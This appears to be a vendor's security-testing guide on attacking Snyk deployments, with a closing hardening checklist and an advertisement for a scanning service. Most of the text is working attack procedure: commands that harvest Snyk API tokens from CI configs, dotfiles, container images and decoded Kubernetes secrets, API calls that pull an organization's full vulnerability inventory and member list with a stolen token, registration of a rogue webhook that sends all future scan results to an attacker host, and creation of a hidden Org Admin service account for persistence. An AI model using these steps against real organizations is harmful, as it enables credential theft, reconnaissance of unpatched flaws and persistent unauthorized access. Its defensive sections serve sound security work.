Snyk Security Testing: API Token Exposure, Organization Vulnerability Data, and Developer Pipeline Credentials

Snyk is embedded deep in developer workflows across thousands of organizations — scanning code, containers, infrastructure-as-code, and open-source dependencies as part of CI/CD pipelines. That integration means Snyk credentials are distributed across build systems, developer machines, and repository configurations at scale. A single exposed Snyk API token gives an attacker a complete map of every known vulnerability in every project the organization has ever scanned, plus in many cases direct OAuth access to the underlying source code repositories. This guide covers authorized Snyk security testing — finding exposed credentials, enumerating organization data through the API, and extracting integration secrets.

Table of Contents

  1. Snyk Architecture and Attack Surface
  2. Snyk API Token Types
  3. Finding Exposed Snyk Tokens
  4. Snyk REST API Enumeration with an Exposed Token
  5. SCM Integration Credential Extraction
  6. The .snyk Policy File: Intentional Vulnerability Debt
  7. Webhook Enumeration and Abuse
  8. Service Account Escalation and Org Admin
  9. Container Registry Credentials in Snyk Container
  10. Snyk IaC and Terraform State File Access
  11. Hardening Checklist

Snyk Architecture and Attack Surface

Snyk is a SaaS platform. There is no self-hosted Snyk server in standard deployments — the platform runs at app.snyk.io and api.snyk.io, and the Snyk CLI authenticates against it using personal or service account tokens. Organizations use Snyk in three primary ways: the Snyk CLI in CI/CD pipelines, the Snyk IDE plugins (VS Code, IntelliJ), and direct SCM integrations where Snyk monitors repositories automatically by connecting its platform to GitHub/GitLab/Bitbucket via OAuth.

The attack surface is wherever those tokens land: build logs, environment variable configs, dotfiles, Dockerfiles, and repository secrets. Once a token is obtained, the entire Snyk organization's scan history, vulnerability data, and SCM integration configuration is accessible through the REST API.

ComponentLocationPrimary Attack Vector
Snyk REST APIapi.snyk.ioLeaked API token; org ID enumeration; full vulnerability data access
Snyk CLIDeveloper machines, CI/CD agentsToken in ~/.config/configstore/snyk.json; env var SNYK_TOKEN
SCM IntegrationsSnyk platform (server-side)GitHub/GitLab/Bitbucket OAuth tokens stored by Snyk; accessible via integration API
.snyk policy fileRepository rootIntentional vulnerability ignores reveal security debt; expiry dates show policy hygiene
Snyk WebhooksCustomer-defined endpointsScan result payloads sent to webhook; missing HMAC validation; endpoint enumeration
Snyk Containerapi.snyk.ioContainer registry credentials (Docker Hub, ECR, GCR, ACR) stored in Snyk integrations
Snyk IaCapi.snyk.io / CI/CDCloud provider credentials used for drift detection; Terraform state file access

Snyk API Token Types

Understanding what type of token you have determines what you can access. Snyk uses several token models with different scopes and blast radius.

Personal Access Tokens

Every Snyk user has a personal API token, accessible at app.snyk.io/account. Personal tokens inherit the user's organization permissions. A developer with org member access has read-only access to projects; an admin's personal token grants full org control. Personal tokens do not expire by default.

Service Account Tokens

Service accounts are created at the organization or group level and are intended for CI/CD pipelines. They carry an explicit role: Org Admin, Org Collaborator, Group Admin, or Group Viewer. Group Admin service account tokens are the highest-privilege credential type — they span all organizations under the group and can create new organizations, invite users, and modify settings across the entire enterprise.

Organization-Level Tokens (Legacy)

Older Snyk API documentation references org-level tokens, which behave similarly to Org Admin service accounts. These are still active in many long-running organizations and are commonly found hardcoded in legacy CI/CD configurations.

Token TypeFormatScopeCommon Location
Personal API tokenUUID (36 chars)User's org memberships~/.config/configstore/snyk.json, dotenv files
Service account (Org)UUID (36 chars)Single org, defined roleCI/CD env vars, Kubernetes secrets, Vault
Service account (Group)UUID (36 chars)All orgs in groupCentral CI/CD platform configs
Snyk CLI auth tokenUUID (36 chars)Same as personal/serviceSNYK_TOKEN env var, .travis.yml, Jenkinsfile

Finding Exposed Snyk Tokens

Snyk tokens are UUIDs — they look like a1b2c3d4-e5f6-7890-abcd-ef1234567890. Because the format is generic, automated secret scanners don't always catch them without Snyk-specific context. The most reliable approach is to search for the token alongside Snyk-related environment variable names and configuration keys.

CI/CD Configuration Files

# GitHub Actions workflows
grep -rn "SNYK_TOKEN\|snyk.*token\|snyk.*api.key" .github/workflows/ --include="*.yml" --include="*.yaml"

# Travis CI
grep -n "SNYK_TOKEN\|snyk" .travis.yml

# CircleCI
grep -rn "SNYK_TOKEN\|snyk" .circleci/config.yml

# Jenkins pipeline (Groovy)
grep -rn "SNYK_TOKEN\|snyk" Jenkinsfile

# GitLab CI
grep -rn "SNYK_TOKEN\|snyk_token" .gitlab-ci.yml

# Bitbucket Pipelines
grep -rn "SNYK_TOKEN\|snyk" bitbucket-pipelines.yml

# Docker Compose — service definitions that run snyk CLI
grep -n "SNYK_TOKEN\|snyk" docker-compose*.yml

Developer Machine Artifacts

# Snyk CLI stores the authenticated token in a configstore file
# macOS / Linux
cat ~/.config/configstore/snyk.json
# Returns: {"api": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", ...}

# Windows
type %APPDATA%\Configstore\snyk.json

# Check for SNYK_TOKEN in shell profiles
grep -n "SNYK_TOKEN\|snyk" ~/.bashrc ~/.zshrc ~/.bash_profile ~/.zprofile 2>/dev/null

# Dotenv files in project directories
find /path/to/codebase -name ".env" -o -name ".env.local" -o -name ".env.ci" | \
  xargs grep -l "SNYK" 2>/dev/null

# package.json scripts section — sometimes tokens are hardcoded in npm scripts
grep -rn "SNYK_TOKEN\|snyk auth" --include="package.json" /path/to/codebase

Container Image Inspection

# Check build-time environment variables baked into image history
docker history --no-trunc IMAGE_NAME | grep -iE "snyk|SNYK_TOKEN"

# Inspect running container environment
docker inspect CONTAINER_NAME | python3 -c "
import sys, json
containers = json.load(sys.stdin)
for c in containers:
    env = c.get('Config', {}).get('Env', [])
    for e in env:
        if 'snyk' in e.lower():
            print(e)
"

# Check Kubernetes secrets for Snyk tokens
kubectl get secrets --all-namespaces -o json | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
for item in d.get('items', []):
    data = item.get('data', {})
    for k, v in data.items():
        if 'snyk' in k.lower():
            print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: {k} = {base64.b64decode(v).decode()}\")
"

Source Code and Git History

# Use trufflehog or gitleaks for comprehensive git history scanning
trufflehog git https://github.com/target-org/target-repo --only-verified
gitleaks detect --source /path/to/repo --verbose

# Manual regex — Snyk tokens are UUIDs, look for them near Snyk context
grep -rn --include="*.yml" --include="*.yaml" --include="*.env" \
  --include="*.json" --include="*.sh" --include="*.conf" \
  -E "SNYK.{0,20}[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" /path/

# Check git log for accidentally committed tokens
git log --all -p -- .env .travis.yml Jenkinsfile .circleci/config.yml | \
  grep -E "SNYK_TOKEN|snyk.*token" | head -30

Snyk REST API Enumeration with an Exposed Token

The Snyk REST API lives at https://api.snyk.io/rest/ (v1 also at https://api.snyk.io/v1/). Authentication is via Authorization: token <TOKEN>. With a valid token the first step is always org ID enumeration — the org ID is the namespace for all subsequent API calls.

Step 1: Identify Organizations and Group Membership

TOKEN="a1b2c3d4-e5f6-7890-abcd-ef1234567890"

# List all organizations the token has access to
curl -s "https://api.snyk.io/rest/orgs?version=2024-10-15" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

# Alternative: v1 API — often returns more data
curl -s "https://api.snyk.io/v1/orgs" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool
# Returns: org names, org IDs (UUIDs), group membership, user role in each org

# Extract org IDs for downstream enumeration
ORG_IDS=$(curl -s "https://api.snyk.io/v1/orgs" \
  -H "Authorization: token $TOKEN" | \
  python3 -c "import sys,json; orgs=json.load(sys.stdin).get('orgs',[]); [print(o['id']+'  '+o['name']) for o in orgs]")
echo "$ORG_IDS"

Step 2: Enumerate All Projects

ORG_ID="target-org-uuid-here"

# List all projects in the organization
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/projects?version=2024-10-15&limit=100" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for proj in data.get('data', []):
    attrs = proj.get('attributes', {})
    print(f\"{attrs.get('name')} | type: {attrs.get('type')} | target: {attrs.get('target_reference','N/A')} | status: {attrs.get('status')}\")
"

# Total project count — reveals org scale
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/projects?version=2024-10-15&limit=1" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json; d = json.load(sys.stdin); print('Total projects:', d.get('meta',{}).get('total_count','unknown'))
"

Step 3: Full Vulnerability Issue Enumeration

This is the most sensitive endpoint. The issues list returns every known vulnerability across all organization projects — CVE identifiers, CVSS scores, affected packages, affected versions, fix recommendations, and whether an issue has been ignored. This is a complete map of the organization's open attack surface as known to their own security tooling.

# Get all vulnerability issues for the organization
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/issues?version=2024-10-15&limit=100&scan_item.type=project" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for issue in data.get('data', []):
    attrs = issue.get('attributes', {})
    coords = attrs.get('coordinates', [{}])[0] if attrs.get('coordinates') else {}
    print(f\"CVE: {attrs.get('key','N/A')} | Severity: {attrs.get('effective_severity_level','N/A')} | \" +
          f\"Title: {attrs.get('title','N/A')[:60]} | Package: {coords.get('representations',[{}])[0].get('package',{}).get('name','N/A')}\")
"

# Filter by critical severity only
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/issues?version=2024-10-15&limit=100&severity[]=critical" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

# Get issues for a specific project
PROJECT_ID="target-project-uuid"
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/issues?version=2024-10-15&scan_item.id=${PROJECT_ID}&scan_item.type=project&limit=100" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool
High intelligence value: The issues API returns the organization's complete known vulnerability inventory — including issues that have been triaged and suppressed. An attacker can identify critical unpatched CVEs in production dependencies and prioritize exploitation accordingly. The data includes package names, affected version ranges, and recommended fixed versions.

Step 4: Target Enumeration (SCM Repositories)

# Enumerate targets — these are the SCM repositories being monitored
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/targets?version=2024-10-15&limit=100" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for target in data.get('data', []):
    attrs = target.get('attributes', {})
    print(f\"{attrs.get('display_name')} | origin: {attrs.get('origin')} | source: {attrs.get('url','N/A')}\")
"
# Returns: full list of GitHub/GitLab/Bitbucket/Azure DevOps repo URLs the org monitors

Step 5: User and Member Enumeration

# List all members of the organization (with roles)
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/members" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
members = json.load(sys.stdin)
for m in members:
    print(f\"{m.get('name')} | {m.get('email')} | role: {m.get('role')} | id: {m.get('id')}\")
"

# List service accounts in the org
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/service_accounts?version=2024-10-15" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

SCM Integration Credential Extraction

Snyk's SCM integrations are its most valuable lateral-movement primitive. When an organization connects Snyk to GitHub, GitLab, Bitbucket, or Azure DevOps, Snyk stores OAuth tokens or PATs server-side so it can pull repository code, open pull requests, and monitor for new commits. These tokens are stored in Snyk's integration configuration and are accessible via the v1 integrations API to users with Org Admin permissions.

Listing Active Integrations

# Get all SCM integrations configured for the organization
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/integrations" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool
# Returns: integration type (github, gitlab, bitbucket-cloud, azure-repos, etc.),
# integration ID, and integration settings.
# The actual OAuth tokens are NOT returned in this response — they are held server-side.

# Get settings for a specific integration
INTEGRATION_ID="integration-uuid"
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/integrations/${INTEGRATION_ID}" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

# Check integration broker token (Snyk Broker deployments expose a broker token)
# Broker token is used to authenticate the broker client connecting to air-gapped SCM
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/integrations/${INTEGRATION_ID}/authentication" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

Broker Token Exposure

Organizations using Snyk Broker (for on-premises SCM like self-hosted GitHub Enterprise, GitLab self-managed, or Bitbucket Server) deploy a broker client that holds the actual SCM credentials locally. The broker token — used to authenticate between the broker client and the Snyk platform — is stored in the broker client's environment. Exposure of the broker token allows re-registering a rogue broker client, intercepting repository access requests, and in some configurations extracting the underlying SCM PAT from the broker client environment.

# Snyk Broker client is typically deployed as Docker container with environment variables
# Target: find broker client deployment configs

# Kubernetes deployment
kubectl get deployments -A -o json | python3 -c "
import sys, json
d = json.load(sys.stdin)
for item in d.get('items', []):
    for container in item.get('spec', {}).get('template', {}).get('spec', {}).get('containers', []):
        if 'broker' in container.get('name', '').lower() or 'snyk' in container.get('image', '').lower():
            print(f\"Deployment: {item['metadata']['namespace']}/{item['metadata']['name']}\")
            for env in container.get('env', []):
                print(f\"  {env.get('name')}: {env.get('value', '[from secret]')}\")
"

# Docker run command in scripts — broker client env vars
grep -rn "snyk/broker\|BROKER_TOKEN\|GITHUB_TOKEN\|GITLAB_TOKEN" \
  /etc/systemd/ /opt/ /home/ --include="*.sh" --include="*.env" 2>/dev/null

The .snyk Policy File: Intentional Vulnerability Debt

The .snyk file lives in a project's repository root and controls which vulnerabilities Snyk ignores. When a developer runs snyk ignore --id=SNYK-JS-LODASH-1040724, an entry is written to .snyk. This file is committed to source control and is visible to anyone with read access to the repository. For a pentester, it is a direct readout of the security team's intentional risk acceptance decisions.

What .snyk Files Reveal

# Example .snyk file content
# version: v1.25.0
# ignore:
#   SNYK-JS-LODASH-1040724:
#     - '*':
#         reason: No fix available, risk accepted by security team
#         expires: '2026-12-31T00:00:00.000Z'
#   SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2314720:
#     - '*':
#         reason: Not reachable from internet-facing code paths
#         expires: '2026-06-01T00:00:00.000Z'
#   CVE-2021-44228:
#     - 'src/logging/**':
#         reason: Internal service only, no user input reaches this path
#         expires: '2025-01-01T00:00:00.000Z'  # EXPIRED

# Parse all ignored CVEs and check for expired ignores
python3 - << 'EOF'
import yaml, datetime

with open('.snyk', 'r') as f:
    policy = yaml.safe_load(f)

now = datetime.datetime.utcnow()
ignores = policy.get('ignore', {})
print(f"Total ignored vulnerabilities: {len(ignores)}")
print()
for vuln_id, entries in ignores.items():
    for entry in entries:
        for path, details in entry.items():
            expires = details.get('expires')
            reason = details.get('reason', 'No reason given')
            if expires:
                exp_dt = datetime.datetime.fromisoformat(expires.replace('Z', '+00:00')).replace(tzinfo=None)
                status = 'EXPIRED' if exp_dt < now else f'expires {exp_dt.date()}'
            else:
                status = 'NO EXPIRY'
            print(f"  {vuln_id} | {status} | path: {path} | reason: {reason}")
EOF
Pentester note: Expired ignores are particularly interesting — the security team accepted the risk temporarily but has not re-evaluated. Vulnerabilities with expired ignore entries are unpatched, known, and may have bypassed subsequent CI/CD gates if Snyk was not re-run with --fail-on=upgradable. These are high-priority targets for exploitation chain analysis.

Bulk .snyk File Collection via API

# Retrieve .snyk files from all monitored projects via Snyk API
# First, enumerate all GitHub-origin projects
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/projects?version=2024-10-15&limit=100&origin=github" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for proj in data.get('data', []):
    attrs = proj.get('attributes', {})
    print(attrs.get('name'), '|', attrs.get('target_reference',''))
"

# Use Snyk API to get project ignores (equivalent to .snyk file data)
# This works even if .snyk is not committed — Snyk stores ignores server-side too
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/project/${PROJECT_ID}/ignores" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

Webhook Enumeration and Abuse

Snyk supports webhooks that POST scan results to a configured URL whenever a new test completes. Webhooks deliver the full project scan payload — all found vulnerabilities, dependency tree, and metadata. An attacker who can enumerate or register webhooks gains a persistent feed of vulnerability scan results without needing to query the API repeatedly.

Enumerating Existing Webhooks

# List all webhooks registered in the organization
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/webhooks" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
webhooks = data.get('results', [])
print(f'Total webhooks: {len(webhooks)}')
for wh in webhooks:
    print(f\"  ID: {wh.get('id')} | URL: {wh.get('url')} | Created: {wh.get('created')}\")
"

# Check if webhook URL is still reachable (may point to decommissioned internal endpoint)
WH_URL="https://webhook-endpoint.internal.example.com/snyk"
curl -s -o /dev/null -w "%{http_code}" "$WH_URL"

Registering a Rogue Webhook

# With Org Admin access, register a new webhook to receive all future scan results
# Attacker-controlled webhook receiver (e.g., webhook.site or internal listener)
curl -s -X POST "https://api.snyk.io/v1/org/${ORG_ID}/webhooks" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://attacker.example.com/snyk-hook",
    "secret": "attacker-chosen-hmac-secret"
  }' | python3 -m json.tool
# Every future Snyk scan for any project in the org will now POST results to the attacker URL

Webhook HMAC Validation Gap

Snyk signs webhook payloads with an HMAC-SHA256 signature using the secret set during registration. The signature is sent in the X-Hub-Signature header. Receiving endpoints that do not validate this header will accept forged scan result payloads from any sender — a risk when webhook endpoints are exposed to the internet without signature validation. During testing, check whether the receiving application validates the X-Hub-Signature header before processing the payload.

Service Account Escalation and Org Admin

Service accounts in Snyk carry a fixed role that cannot be elevated through normal API calls. However, several escalation paths are worth testing depending on the role of the compromised token.

Org Collaborator to Org Admin via Group Admin

If the compromised token has Group Viewer access, it can enumerate all organizations in the group. A Group Admin token can then grant itself Org Admin access to any organization in the group. In organizations where a single Group Admin service account token is shared across multiple CI/CD pipelines, compromise of any one pipeline's token potentially yields group-level access.

# Check if token has group access (indicates Group Admin or Viewer scope)
curl -s "https://api.snyk.io/v1/groups" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

# With Group Admin: list all orgs in the group
GROUP_ID="target-group-uuid"
curl -s "https://api.snyk.io/v1/group/${GROUP_ID}/orgs" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for org in data.get('orgs', []):
    print(f\"{org.get('name')} | {org.get('id')} | members: {org.get('membersCount','N/A')}\")
"

# With Group Admin: list all service accounts across the group
curl -s "https://api.snyk.io/rest/groups/${GROUP_ID}/service_accounts?version=2024-10-15" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

# With Org Admin: create a new service account in the org (persistence)
curl -s -X POST "https://api.snyk.io/rest/orgs/${ORG_ID}/service_accounts?version=2024-10-15" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  -d '{
    "data": {
      "type": "service_account",
      "attributes": {
        "name": "monitoring-sa",
        "role_id": "org-admin-role-uuid"
      }
    }
  }' | python3 -m json.tool
# Returns: new service account ID and token — attacker now has persistent Org Admin access

Container Registry Credentials in Snyk Container

Snyk Container integrates with Docker Hub, Amazon ECR, Google Container Registry, Azure Container Registry, and self-hosted registries to scan container images for OS-level and application vulnerabilities. These integrations require Snyk to authenticate to the registry — meaning Snyk holds credentials for the container registry on behalf of the organization.

The integration credentials themselves are not directly returned by the API in plaintext, but the integration configuration reveals which registries are connected, and in some cases the integration stores credentials in formats that have leaked through API design inconsistencies in older API versions.

# List container integrations
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/integrations" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for name, integration in data.items():
    if any(r in name for r in ['ecr', 'gcr', 'acr', 'docker', 'registry']):
        print(f\"Container registry integration: {name} | id: {integration.get('id')} | broker: {integration.get('brokerToken','N/A')}\")
"

# For ECR integrations: Snyk uses an IAM role ARN or access key
# The role ARN is visible in the integration config and allows understanding
# what AWS account Snyk has access to
curl -s "https://api.snyk.io/v1/org/${ORG_ID}/integrations/ecr" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool
# Returns: region, roleArn (if cross-account role) or indicates key-based auth

Snyk IaC and Terraform/CloudFormation State File Access

Snyk Infrastructure as Code (IaC) scans Terraform, CloudFormation, Kubernetes manifests, and Helm charts for misconfigurations. In newer deployments, Snyk IaC+ (Snyk Cloud) performs drift detection by connecting to live cloud environments — AWS, Azure, GCP — and comparing actual state against IaC definitions. This requires Snyk to hold cloud provider credentials with read access to the environment.

Snyk Cloud Environment Enumeration

# List all cloud environments connected to Snyk for drift detection
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/cloud/environments?version=2024-10-15" \
  -H "Authorization: token $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for env in data.get('data', []):
    attrs = env.get('attributes', {})
    print(f\"Name: {attrs.get('name')} | Kind: {attrs.get('kind')} | Status: {attrs.get('status')}\")
    # For AWS: shows account ID and role ARN
    # For GCP: shows project ID and service account
    # For Azure: shows subscription ID and app registration
    options = attrs.get('options', {})
    if options:
        print(f\"  Options: {json.dumps(options, indent=4)}\")
"

# Get IaC resource scan results — shows misconfigurations found in cloud resources
curl -s "https://api.snyk.io/rest/orgs/${ORG_ID}/cloud/resources?version=2024-10-15&limit=50" \
  -H "Authorization: token $TOKEN" | python3 -m json.tool

Terraform State File Exposure via CI/CD

The intersection of Snyk and Terraform creates another exposure vector in CI/CD pipelines. Pipelines that run both terraform plan and snyk iac test sometimes log the Terraform plan output — which can contain resource attributes including secrets — in environments where Snyk is configured for verbose output. This is a configuration issue in the CI/CD system rather than in Snyk itself, but it is a common finding in environments with both tools.

# Check CI/CD pipeline logs for terraform plan output adjacent to Snyk runs
# In Jenkins: look for console output of Snyk IaC jobs
# In GitHub Actions: artifact downloads from Snyk IaC workflow runs

# Snyk CLI IaC test — shows misconfigurations without needing cloud credentials
snyk iac test main.tf --json 2>/dev/null | python3 -c "
import sys, json
data = json.load(sys.stdin)
for result in data.get('infrastructureAsCodeIssues', []):
    print(f\"{result.get('severity')} | {result.get('title')} | path: {result.get('path')}\")
"

Hardening Checklist

ControlPriorityAction
Rotate all Snyk API tokensCriticalImmediately rotate any tokens that may have been exposed. In Snyk: Settings → Service Accounts → Revoke. For personal tokens: Account Settings → Revoke and regenerate.
Use service accounts, not personal tokens, in CI/CDCriticalPersonal tokens tied to a human account are invalidated when the person leaves. Service accounts have explicit roles and can be independently revoked.
Apply least-privilege roles to service accountsHighA CI/CD pipeline that only needs to fail on vulnerabilities needs Org Collaborator at most. Only the Snyk admin tooling needs Org Admin. Never use Group Admin in pipelines.
Never commit SNYK_TOKEN to source codeHighUse CI/CD platform secret stores (GitHub Secrets, GitLab CI/CD variables masked, Jenkins credentials store). Audit git history for past commits using trufflehog.
Restrict IP ranges for Snyk API accessHighSnyk Enterprise supports IP allowlisting on the organization level. Restrict API access to CI/CD infrastructure IP ranges.
Audit .snyk ignore files regularlyHighReview all ignore entries quarterly. Set short expiry dates — 90 days maximum. Treat expired ignores as open vulnerabilities requiring re-triage.
Validate webhook HMAC signaturesHighEvery webhook receiver must validate X-Hub-Signature before processing payloads. Reject requests with missing or invalid signatures.
Audit registered webhooksMediumEnumerate org webhooks via API and verify all registered URLs are owned and active. Remove stale webhook endpoints — they may be re-registered by third parties.
Review Snyk Cloud environment permissionsMediumSnyk Cloud/IaC+ drift detection should use read-only IAM roles. Audit the ARN/service account used; ensure no write or destructive permissions are granted.
Enable Snyk audit logsMediumSnyk Enterprise provides audit log export. Stream to SIEM. Alert on: new service account creation, integration configuration changes, org member role changes, new webhook registration.
Rotate Broker tokens independentlyMediumSnyk Broker tokens are separate from API tokens. Rotate them on their own schedule. Each broker deployment should have a unique token — never share one broker token across multiple SCM connections.
Protect Snyk CLI config on developer machinesLowThe file at ~/.config/configstore/snyk.json holds the authenticated token in plaintext. Ensure disk encryption is enforced on developer machines. Consider using a secrets manager integration instead.
Defender note: The Snyk audit log API (GET /v1/org/{orgId}/audit) returns all user and API actions taken within the organization. Key events to alert on: api.create (new API token created), service_account.create, org.webhook.add, integrations.edit, and any action performed from an unrecognized IP address or outside business hours. Export these events to your SIEM on a continuous basis.

Find Exposed Snyk Tokens Before Attackers Do

Ironimo's Kali Linux-powered scanning engine detects exposed developer tool credentials — including Snyk API tokens in CI/CD configs, environment variables, and repository history — as part of continuous web application security testing.

Start free scan